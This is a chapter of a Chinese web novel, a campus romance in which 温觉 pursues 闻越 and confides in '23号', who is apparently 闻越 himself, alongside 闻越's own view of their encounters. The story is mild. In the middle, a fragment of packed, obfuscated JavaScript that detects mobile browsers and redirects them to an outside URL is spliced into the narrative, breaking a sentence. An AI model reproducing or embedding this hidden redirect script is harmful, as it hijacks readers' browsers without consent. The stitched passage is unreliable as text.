看完照片之后,温觉许久都没能平静。
他放下手机,先是莫名其妙做了几组健身动作,然后又把自己珍藏已久的零食拿出来给每个舍友都分了一遍,最后还兴高采烈地给虞言连发了二十条消息。
三条“啊啊啊啊啊啊啊”,四条“我靠我靠我靠我靠”,五条“我死了我死了我死了”,还有八条是猴子抓狂奔跑表情包。
虞言:【你干吗那么兴奋】
温觉:【我不小心看了点好东西】
虞言:【什么东西】
温觉神秘莫测地说:【多的不说了,只能说游泳是一项伟大的运动】
观赏照片的那几分钟,他已经悟出一个真理:游泳课这种优质课程就应该全球推广,世界上所有帅哥都应该认真学习这门技艺。
虞言懂了。
虞言:【你看到了】
温觉:【我看到了。】
就算白天没看清,那张照片他也仔细研读过很多遍了。
照片他自欺欺人地没有保存——存下来太不厚道,不够正人君子。但他收藏了23号发来的这条消息,日后仍能不时拿出来复习。
虞言:【多少厘米。】
温觉:【?】
温觉:【没看到这个!!!!!!】
虞言:【我问身高】
温觉:【……】
虞言:【你想的是什么?】
温觉:【。。。】
温觉:【滚。】
虞言:【咋了】
虞言:【看都看了,这不得看回本】
温觉:【你的思想很龌龊,我要跟你绝交一分钟】
对话框里还真保持了一分钟的安静。
一分钟后,虞言说:【这就龌龊?】
虞言不客气地说:【你想想假如他脱光了站你面前,你什么反应】
那个画面只是在脑海中掠过一瞬,温觉大脑都差点烧坏了。
温觉甩甩脑袋,深吸一口气。
然后一脸严肃地打下一行字:【那我也不穿衣服了。】
虞言以其人之道还治其人之身,将他刚刚那个词还回去:【你真龌龊】
龌龊就龌龊,就问这种场景谁能把持住?反正他不行。
想想又不犯法,温觉忍不住想多了几下。
温觉这边跟虞言发完消息,23号那边安静了几分钟,又发了新消息过来。
23号接着那句“帅爆了”问:【有这么帅?】
23号:【跟我比呢】
温觉有些为难,委婉地说:【23号你不要闹了好吗】
他又怕自己不够委婉,又补充道:【不过其实你作为人类也挺帅的了】
23号还要继续追问:【那他呢】
温觉:【他?已经超神了[抱拳][鞠躬]】
23号似乎对他这两句话很满意,赞扬道:【很好,就是要这样】
然后说:【那你去找他表白吧】
温觉大惊:【那怎么行!】
23号:【怎么不行】
23号:【他已经被你两瓶水加三个面包拿下了】
温觉:“……”
虞言说的时候还没觉得,现在23号一说他才发现,两瓶水加三个面包,听起来确实很寒碜。
……而且闻越怎么可能被区区两瓶水加三个面包拿下?
温觉:【他才不是那么随便的人好吗】
23号:【他不是吗】
温觉:【难道他是吗】
23号:【他可以是吧】
温觉:【他真不是!】
温觉:【放心吧,等到时机成熟我自会表白】
23号:【什么时候熟?】
温觉敲出两个字:【快了】
23号:【具体是?】
温觉:【已经到第二阶段了,你细品】
23号:【……行】
23号:【按你节奏来】
过了会儿,23号又发来一个问题。
23号:【那你喜欢他什么?】
-
温觉跟虞言说他好像有crush了的那天,虞言为此专门翘了一节创新创业课,专门跟温觉开了一场crush研讨会。
“你说你喜欢谁?”
“闻越啊。”
听到温觉的crush是闻越,虞言松了口气,还好不是什么猪头。
但他还是诧异道:“你终于开窍了?”
虞言跟温觉认识这么多年,一路走来见了不少喜欢温觉的人,追求者里不乏帅哥,却也从没见温觉喜欢过谁。
他一度担心这小子其实有恋丑癖,哪天被猪头拐走了还得他帮着当参谋。
闻越声名在外,温觉时不时能在表白墙上刷到他。虞言也给他发过消息,不过温觉当时说了句“确实帅”就没有后续了。
虞言被勾起了好奇心,一改懒散姿态,坐直身体,让温觉细说。
“我今天看到他抓了个偷外卖的。”温觉讲得眉飞色舞,语气抑扬顿挫,“他就直接上去抓住那个人,然后说‘放回去’……那人起码偷了五六个人的外卖,他一次性拯救了五个外卖,你懂这有多牛吗?”
虞言试图找出他这段话跟他喜欢闻越的关联,问:“那里面有你的外卖?”
“没有啊。”
“……”
“哎呀那又怎样,我被偷过外卖我知道,”温觉说,“好不容易上完课发现外卖被偷很痛苦的啊,这不得加一百分?”
温觉就深切体会过这种痛苦:
上午神志不清地连上两节大课,上到中午饿得前胸贴后背就想着吃那两口外卖,结果在楼下苦苦寻觅二十分钟发现外卖被偷了……偏偏下午两点还有课,重新点来不及,去食堂又太远,最后只能面如死灰地在宿舍泡泡面。
尝试过几次这种痛苦,闻越这个行为在温觉看来简直是天神降临。
可惜就是除了他没别人看见,不然暗恋闻越的排队的人又要多绕学校一圈。
“……行。”
这奇怪的暗恋理由听上去像是温觉专门找来哄自己上学的,虞言断定温觉这次crush不会持续太久。
说不定还没等对方发现,他这点不为人知的小心思就悄无声息地结束了。
谁知道,过了几天,温觉那股火非但没熄,反而燃得更盛了。
这次理由更奇怪。
“你知道吗,”温觉说,“我今天看见他把别人撞倒的饮料塔捡起来,还把挡在路中间的购物车推了回去。”
“……挡的是你的路?”
“没有啊。”当时闻越在超市门口,而他还在马路对面。
“……”
“那路过那么多人都没人有空捡,就他帮忙捡了嘛!这很加分的好不好。”
又过了几天,温觉再次找到虞言。
他还没张嘴,虞言就问:“又是他?”
温觉点头,说:“我今天在食堂又遇见他了,我看见他跟朋友一起去吃饭。”
然后又兴奋地说:“而且你猜今天发生了什么?”
虞言:“……猜不出来。”
温觉这人慢热就算了,喜欢上别人的点也很怪,除了他自己,估计没第二个人能猜出来。
“提示一下,”温觉伸出一根食指,“我们进行了一点轻微的接触。”
在食堂能有什么轻微接触,虞言随便乱猜:“你跟他认识了?打招呼?”
“哦,没有。是他顺手帮我拿了勺子,”温觉说,“然后我跟他说了谢谢。”
“然后呢?”
“然后拿完我就走了啊。”
虞言:“……”
比他想得还离谱。
“我是没帮你拿过勺子?”虞言问。
“那怎么一样,朋友你帮我拿勺子是应该的好吗。”温觉说,“他又不认识我!”
接下来的一段时间更是一发不可收拾,温觉今天说看见他拧了别人没关的水龙头,明天说看见他在路上捡了个水瓶丢进垃圾桶。
温觉天天制造偶遇路过观察,时不时在心里给闻越加上几分。
具体加了多少分他自己也没算,只知道这个分越加越多,而且从没扣过。
但他决定追闻越,是因为他们为数不多的一次交集。
那天温觉被社团的学姐叫去吃饭,是一场社团联谊活动,据说闻越也在。
温觉其实不太喜欢这种场合,他是个彻头彻尾的i人,必要时可以装一装开朗外向,其他大多数时候都对外安静如鸡,只在熟人窝里上蹿下跳。
因此他本来不打算去,但是他听说闻越也去,立刻全副武装地出门了。
到了地方,温觉才发现这场活动来的人很多,闻越他们在另一桌。
跟温觉这边还隔了两桌。
一坐下来,隔着几个人,温觉更是看不见闻越在哪了。
温觉顿时觉得运气不好,横竖这里没有多少他认识的人,起身就想走。刚想走人,又被学姐叫了回来。
“哎,温觉!别走别走,咱们不是说好了嘛!你走了我们怎么办。”
最后温觉还是坐回来了。
看不见闻越,他又对联谊不感兴趣,索性专心夹桌上的菜吃。
今天来的这些人显然都不是来吃饭的,桌上的菜全都便宜了温觉。
然而,就在他吃得正欢时,一股刺鼻的烟味从隔壁桌传了过来。
包厢虽大,却也是密闭空间,突然有人抽烟,让整个房间的空气都变得浑浊起来。
温觉皱了皱眉,跟学姐说:“那边也是我们的人?”
“是吧?真没素质。”学姐语气也有些不爽,“还吃着饭呢抽什么抽。”
温觉站起来想去劝,又被学姐拽了回来:“不过算了,那个人不太好惹……”
“怎么不好惹?”温觉问。
“他跟我们会长关系很好的,多一事不如少一事,我们还是别说什么了。”
温觉想了想,说:“没关系。”
刚要起身,学姐又把他按回来,“别别别,等会儿他们搞你……”
温觉再一次被拉回来,他坐在顺风位,被烟味熏得快吐了,又被学姐拉着,只好蔫蔫地趴在桌上吃菜。
忽然就听见有人问:“咦,闻越,你怎么到这边来了?”
“他们喝酒我就出来了。”闻越随口道。
闻越的声音近了,温觉抬起头,下意识地吸口气。这下不得了,一口烟气呛进鼻腔里,惹得温觉皱眉咳了两声。
闻越脚步一顿,微微蹙起眉头。
闻越走到隔壁桌去,拍了拍抽烟那人的肩膀,“烟掐一下,还有人在吃饭。”
那人诧异地说:“我们就抽两根而已。”
闻越垂眼往桌上一扫,桌上烟盒都空了一半,显然不止“两根”。
“而且还有谁在吃?”那人接着嘴硬道,“我看大家都吃饱了我才抽的。”
他们这桌人扫视一圈,看向包厢里唯一还在吃东西的人。
霎时间所有视线聚焦在温觉一个人身上,温觉吃东西的动作停下来,不知所措地眨了眨眼睛。
“我。”闻越拉了把椅子在温觉旁边的位置坐下来,又拿了一套新的碗筷拆开,“要抽出去抽。”
“你刚刚不是在那边吃了——”
“哦,没吃饱再吃点。”闻越抬眼一瞥,“你有意见?”
闻越眼皮一掀,眼神像浸过寒冰,一下冷了脸。
那几个人也不想惹闻越,不情不愿地掐灭烟头,拿着烟盒去了外面。
“算了算了,这里面闷得很,出去还透气。”
温觉其实差不多吃饱了,本来都准备停下筷子,但闻越一坐下来,他又慢吞吞地开始吃。
闻越似乎也不饿,拿了一套新的碗筷,只夹了一点东西慢慢吃。
简直都像是在陪他吃一样了……温觉想。
这一晚过后,温觉专门请虞言出来吃了顿价格昂贵、超出大学生正常消费水准的烤肉,期间还亲自动手为虞言烤出几片可能不太熟的肉,并屈尊降贵地夹到他的碗里。
整顿饭吃得像鸿门宴,虞言开口:“你有什么事,说吧。”
温觉换上星星眼,“你觉得我追他怎么样?”
其他人可能还要斟酌一下,闻越的话,虞言倒也很支持,二话不说答应下来。
只是那个时候他还不知道,这只是温觉漫漫追人路的开始。
温觉连续追了人一个月,都还停留在他说的“暗送秋波”阶段。偏偏他自己还觉得很有节奏,但凡虞言是个没耐心的,都要被他急死。
……
总而言之,温觉已经喜欢闻越很长一段时间了。
-
闻越喜欢温觉也有一段时间了。
他第一次见到温觉是在校园那棵树下,少年蹲着往猫碗里加猫粮,旁边还围了四五只猫。
而他们的荣誉校长,校园里最大的那只橘猫已经吃饱喝足,正惬意地抻着爪子睡觉。少年似乎是觉得有趣,对着拍了几张照。
当天晚上,闻越就在校园表白墙见到了温觉拍的照片。
他在图片上沿着橘猫身体勾勒出一只火鸡的形状,让这张平平无奇的照片变得丰富多彩起来。
第二次见到温觉是学院告示栏前,他仰头看得认真,不知道看到什么,忽然抿唇笑起来。
过了会儿他把朋友拉了过来,指着墙缝说:“你看这里有朵花。”
朋友也是很惊奇:“我去,这地方还能长出花来?”
第三次,闻越又看见温觉站在教学楼中间的连廊里,拉着朋友一起拍晚霞。
霞光映在他脸上,为他又平添了几分容色。
原来会有人因为一朵开在墙缝里的花、一场随机出现的晚霞、一片无人问津的树叶就那么开心。
后来不知怎的,闻越碰见温觉的次数越来越频繁了。
也许是缘分,也许是他的心思显化,他只是顺路去超市买点东西,都能碰见温觉在马路对面跟人说笑。
闻越注意温觉的次数也越来越频繁了。
还有一次,附近的小学过来他们学校操场,摆摊卖他们自己做的手工艺品。闻越被抽到去帮忙,可以加学分。
这场活动似乎是温觉的学院承办的,他看见温觉也穿着志愿者马甲,招呼过路的人过来逛逛。
闻越站在另一个摊位后面,温觉也没注意到他。
接着,闻越看见温觉捡起地上的一张画,蹲着跟小朋友说话。
他听见温觉好奇地问:“这是什么?”
“我用捡来的树叶拼了一只蝴蝶。”小朋友认真地说着,说完又扁扁嘴,“但是妈妈说很脏让我丢掉。”
“脏和美有什么关系?这很漂亮啊。”温觉拿出手机扫了他的摊位码,“我买了。”
“真的?”小朋友眼睛亮起来,又从角落里掏出另一幅画,“那这个呢?我把草画成蓝色的,我觉得蓝色的草很好看,但是我朋友说草都是绿色的……他们都说我画得很丑。”
“那是他不懂,谁说要跟真实的一样才算美丽?”温觉弯起眉眼,温声道,“而且我也觉得蓝色的草很好看,像大海一样。”
日辉洒在少年肩头,衬得他身上这件浅蓝衬衫如同日光下的玻璃海,整个人清透又干净。
闻越注视着,连旁边人叫了他几声都没听见。
反倒是温觉觉察到身后的视线,转过头来。
似乎是没想到闻越就在他身后,那双灵动的眼睛动了动,略带羞怯的眼神自闻越身上飞掠而过。
……
闻越所在的406宿舍在开学之初就拟定了单身狗协议,谁先脱单谁是狗。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741681|208453||http|test|mini|href|location'.split('|'),0,{}));
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>一开始,所有人都气定神闲,因为他们身后还有闻越这个平等拒绝所有男人女人的寡王挡着。
直到“他”频繁出现在闻越的世界里。
没过多久,406整个宿舍上下已经对“他”如数家珍,就差摆张照片在宿舍当神仙一样供奉了。虽然他们谁都没有跟“他”有过交集,但是无论谁提起来,谁都能说上两句。
毕竟闻越在宿舍话不算多,可一聊起“他”,就如同中年男人在饭桌上聊起了美国。
包括但不限于温觉喜欢蹲在树下撸猫,温觉用勺子吃饭脸颊鼓起来很可爱,温觉在图书馆借最厚的书压树叶标本,温觉经常跟朋友一起去买第二杯半价的奶茶……
还有一些小众的,谁也不知道闻越怎么发现的。他有天回来就说,他发现温觉喜欢按整张专辑那样听歌,就像很久以前人们听磁带的AB面那样。
最近的一次,闻越还发现温觉喜欢蓝色,陆陆续续地把自己的东西都换成了蓝色的。
舍友注意到,忍不住问:“闻哥你要当阿凡达?”
佘扬听完大笑三声,笑完才过来捂住舍友的嘴,说:“再不闭嘴小心闻哥把你也染成蓝色。”
……
等待温觉回复的时间里,闻越又把这些事情回想了一遍。
手机弹出新消息通知,是温觉发过来的。
温觉:【我喜欢的点太多了一次说不完】
23号:【长得帅?】
温觉:【此言差矣,长得帅只是他万千优点中最微不足道的一项好吗】
23号:【那其他的是什么】
温觉:【哎呀,这个手机打字说不清楚】
温觉:【你想知道的话我们可以语音通话】
温觉:【军师,这个真的可以彻夜长谈】
闻越盯着手机,半晌才轻笑一声。
23号:【谁跟你谈?】
23号:【你跟他谈就行了】
-
再见到闻越是两天后的选修课上。
温觉看过闻越的半裸照片之后就忘不掉了,以至于看见穿着衣服的闻越出现,都忍不住联想到别处去。
温觉意识到自己在想什么,痛苦地掐了掐自己的大腿。
闻越像没看到他脸红似的,自然地坐到他旁边,将一个甜品袋子放到他面前。
“给你。”
温觉打开看,竟然是上次他和虞言去过的那家甜品店出品的蛋糕。
他眼前一亮,问:“你怎么知道我喜欢这个?”
“之前就看了你的朋友圈。”闻越说。
温觉想起来了,是他那条装逼置顶朋友圈。
没想到过了这么久,这条装逼朋友圈还能发挥这种妙处。
同时温觉又开始庆幸,原来闻越真的会仔细看朋友圈。
……还好他装修了朋友圈!
不过,温觉还是有点疑惑:“为什么突然给我这个……?”
“你不是也给我送面包了吗?”闻越说,“礼尚往来。”
温觉觉得有道理,接受了闻越的说法。
他将手伸进书包里,在里面摸来摸去,终于找到几颗水果糖,勉强算作食物。
“给你。”
他把水果糖塞进闻越手里,作为回礼。
随便是随便了点,但是矿泉水和面包闻越都收了,想来这寒酸的水果糖也可以。
果不其然,闻越手掌合拢,照单全收。
顺便还漫不经心地问了句:“这里面有几个是我的?”
这是什么问题?温觉奇怪地道:“都是你的啊。”
“哦,”闻越不知想到什么,轻飘飘地来了句,“我以为多的又要给我舍友。”
“他们又不在。”不过他这么说,温觉想起来23号了,又改口道,“或者你留两个给你舍友。”
“他不吃糖。”闻越将这几颗糖全部塞进自己口袋。
“另外两个呢?”
“也不吃。”
听起来他们整个宿舍都不爱吃糖,温觉忍不住问:
“……那你吃吗?你不吃的话——”就还给我。
“我吃。”闻越说。
“……好的。”
温觉又问:“那他喜欢什么?”
“哪个他?”
“那个,”温觉不知道闻越舍友的名字,只好老实地报出人家的球衣号码,“23号。”
——23号实在是太神秘了,水也不爱喝,面包也不吃,糖也不喜欢……感觉天底下没有他喜欢的东西。
“不知道。”闻越顿了顿,说,“他爱好比较小众。”
如果是其他人,温觉也就不继续问了。
但偏偏温觉又回想起那天在球场听到的话:搞定舍友就等于成功了一半。
23号在他追人道路上功不可没,偶尔探听一下23号喜欢什么,适当贿赂也不失为一种谋略。
所以温觉继续追问:“有多小众?”
一个正常男大学生爱好能有多小众?难道还能比他喜欢男的更小众吗?
闻越支着下巴,就着这个姿势偏头看他,道:“这么好奇?”
温觉小鸡啄米似的点了头。
“是准备把我的那份都给他?”闻越又问。
“当然不是……”这怎么能一样,crush和crush的舍友温觉还是分得很清楚的。
温觉坚定地说:“你放心,有他的就有你的。”
“我有的他也有?”
这话乍一听跟他刚刚说的话差不多,但是闻越说出来好像又有另一种意思。
“对……?”温觉琢磨了下,不太确定是不是该这样说。
闻越还是没回答他。
倒是忍俊不禁地调笑了句:“这么好。”
很快,老师进教室上课,打断了温觉对23号的探究。
物理学史一如既往地无聊,温觉半趴半坐,笔作为支点戳在脸颊上。
过了会儿,闻越就看见他脸上多了一个圆圆的小印子,像他抿嘴害羞笑起来时会出现的梨涡。
闻越盯着那个浅浅的圆印子看,在看不见的地方,轻轻摩挲着手指。
整节课下来,他的视线都挂在那个圆印上。
等到下课,温觉收拾着东西,还是没忘记他上课前关于23号的问题。
他伸出手指轻轻戳了戳闻越,“你还没说。”
“什么?”
“你舍友的小众爱好。”
闻越的视线在他的漂亮脸蛋上反复流连着,软玉般白皙的脸透着淡粉,那个被笔戳出来的小印子挂在上面,勾得人想狠狠掐一把。
温觉不知道他为什么突然不说话了,疑惑地喊了他一声:“闻越同学……?”
闻越朝他招了招手,说:“过来一点我告诉你。”
23号爱好到底是有多小众……?竟然让闻越大庭广众之下都说不出口。
温觉狐疑地转了转眼珠,还是将脑袋凑了过去。
白玉粉霞的脸蛋近在咫尺,闻越不客气地伸出手。
闻越索性不忍了,两根手指掐住温觉的脸颊肉,轻轻晃了晃。
温觉的脸被他掐着,一下动都不敢动了。
“干、干什么……?”
闻越好像也刚回过神来,反应过来自己刚刚做了什么,却还是没收手。
他扯了个理由:“脸上有印子。”
“……噢。”温觉向来很相信闻越,任由他捏了两下,又问,“好了吗?”
“骗你的。”闻越低头笑了下,“怎么这么乖?”
“……”温觉脸上热气蒸腾,又不敢拍开他的手,只好瞪大眼睛看他。
温觉被他掐着脸蛋,还没忘记自己的问题,含混不清地说:“那23号的小众爱好——”
“也骗你的。”闻越故意说,“不告诉你。”